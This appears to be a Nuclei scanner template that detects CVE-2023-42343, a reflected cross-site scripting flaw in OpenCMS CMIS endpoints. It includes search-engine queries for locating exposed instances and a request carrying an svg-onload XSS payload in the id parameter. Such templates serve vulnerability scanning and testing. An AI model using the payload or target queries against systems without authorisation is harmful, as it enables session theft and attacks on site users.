id: CVE-2023-42343

info:
  name: OpenCMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the id parameter in CMIS endpoints to steal user session cookies and execute attacks against OpenCMS users.
  remediation: Fixed in 10.5.1.
  reference:
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  classification:
    cve-id: CVE-2023-42343
    epss-score: 0.00144
    epss-percentile: 0.34339
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    product: opencms
    vendor: alkacon
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,xss,opencms,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>'
    headers:
      Content-Type: application/cmisquery+xml

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Apache Chemistry OpenCMIS'
          - '<svg onload=alert(document.domain)>'
        condition: and
# digest: 4a0a00473045022100fdd8537ff164cef9e5fe0f6a72f28a716750d8de8908767a4f3dc292dacc0ac10220031e915e64cfc2e16fbb360487340290f1402aa4d10ec27a86e913fbc359482d:922c64590222798bb761d5b6d8e72950